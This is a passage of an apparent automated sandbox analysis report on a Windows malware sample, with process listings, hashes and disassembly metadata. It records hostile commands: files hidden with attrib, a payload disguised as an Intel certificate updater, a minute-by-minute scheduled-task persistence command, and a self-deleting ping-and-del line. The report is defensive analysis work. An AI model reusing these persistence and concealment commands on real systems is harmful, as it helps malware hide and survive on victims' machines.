Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:10:04
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x620000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:10:04
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff74af00000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:10:04
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff775710000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff74af00000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff74af00000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	00:10:05
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	00:10:06
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff64e3f0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	00:10:07
Start date:	19/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff7ceaf0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	00:10:08
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"
Imagebase:	0x20000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	757
Total number of Limit Nodes:	16

Executed Functions

Function 0081652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0081652A,?,?,?,?,?,00817661), ref: 00816566

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 8116ff3fa4b929d2f304f848280dbc4c266850506714b3a7d422333aa87c0e72
Instruction ID: 37ad2d8ae07224d731bb2d59931382d9567284351e4c58f65acad8a21c71fe3a
Opcode Fuzzy Hash: 8116ff3fa4b929d2f304f848280dbc4c266850506714b3a7d422333aa87c0e72
Instruction Fuzzy Hash: 08E08C30042608AACF2A7F58DD09EC83B6EFF51744F401A10FD558A226DB35EED2C681

Function 04F30E14 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1757054768.0000000004F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d610b6b2e40b13af9a23c92efaaa43aba58a667b82ea9a4cd373dba0a618f861
Instruction ID: 074be322596d26272efa14fc1fef6a9a8210b115e16f35d97418ef47d4d49d0e
Opcode Fuzzy Hash: d610b6b2e40b13af9a23c92efaaa43aba58a667b82ea9a4cd373dba0a618f861
Instruction Fuzzy Hash: 65E04FDF7880107DA04261852719AF6A76EB6C76313308477F003D650BBAC80B9EB131

Function 007E5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 007E60C9
00000423, xrefs: 007E60FA
00000419, xrefs: 007E6098
Keyboard Layout\Preload, xrefs: 007E6054
0000043f, xrefs: 007E612B

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 12002801b19da40c5a8fe3bcc0497d3b6c09cb83b4cd9dc4bc0f86571556fb60
Instruction ID: a61bdd2c424a3d00e359364ab88ce580333f441beb10a03d4156d963dc306181
Opcode Fuzzy Hash: 12002801b19da40c5a8fe3bcc0497d3b6c09cb83b4cd9dc4bc0f86571556fb60
Instruction Fuzzy Hash: 04F1C07090125CDBEB24DF54CC84BEEBBB9EF45304F5042A9F518A7282DB789A84CB95

Function 007E9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8181e8780dad915ffdf479f51ba66e4fbaeba76c304759b49c86e5cb900150e6
Instruction ID: b0907dec07f6cf19ddd911967292f3addecc5c9490bf530ed4bb0d24ba5b78c9
Opcode Fuzzy Hash: 8181e8780dad915ffdf479f51ba66e4fbaeba76c304759b49c86e5cb900150e6
Instruction Fuzzy Hash: 2A31AC72605244DBEB18EBBCDC8876DBBB2EBC9310F204208E100DB3E6E77D69818751

Function 007E9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
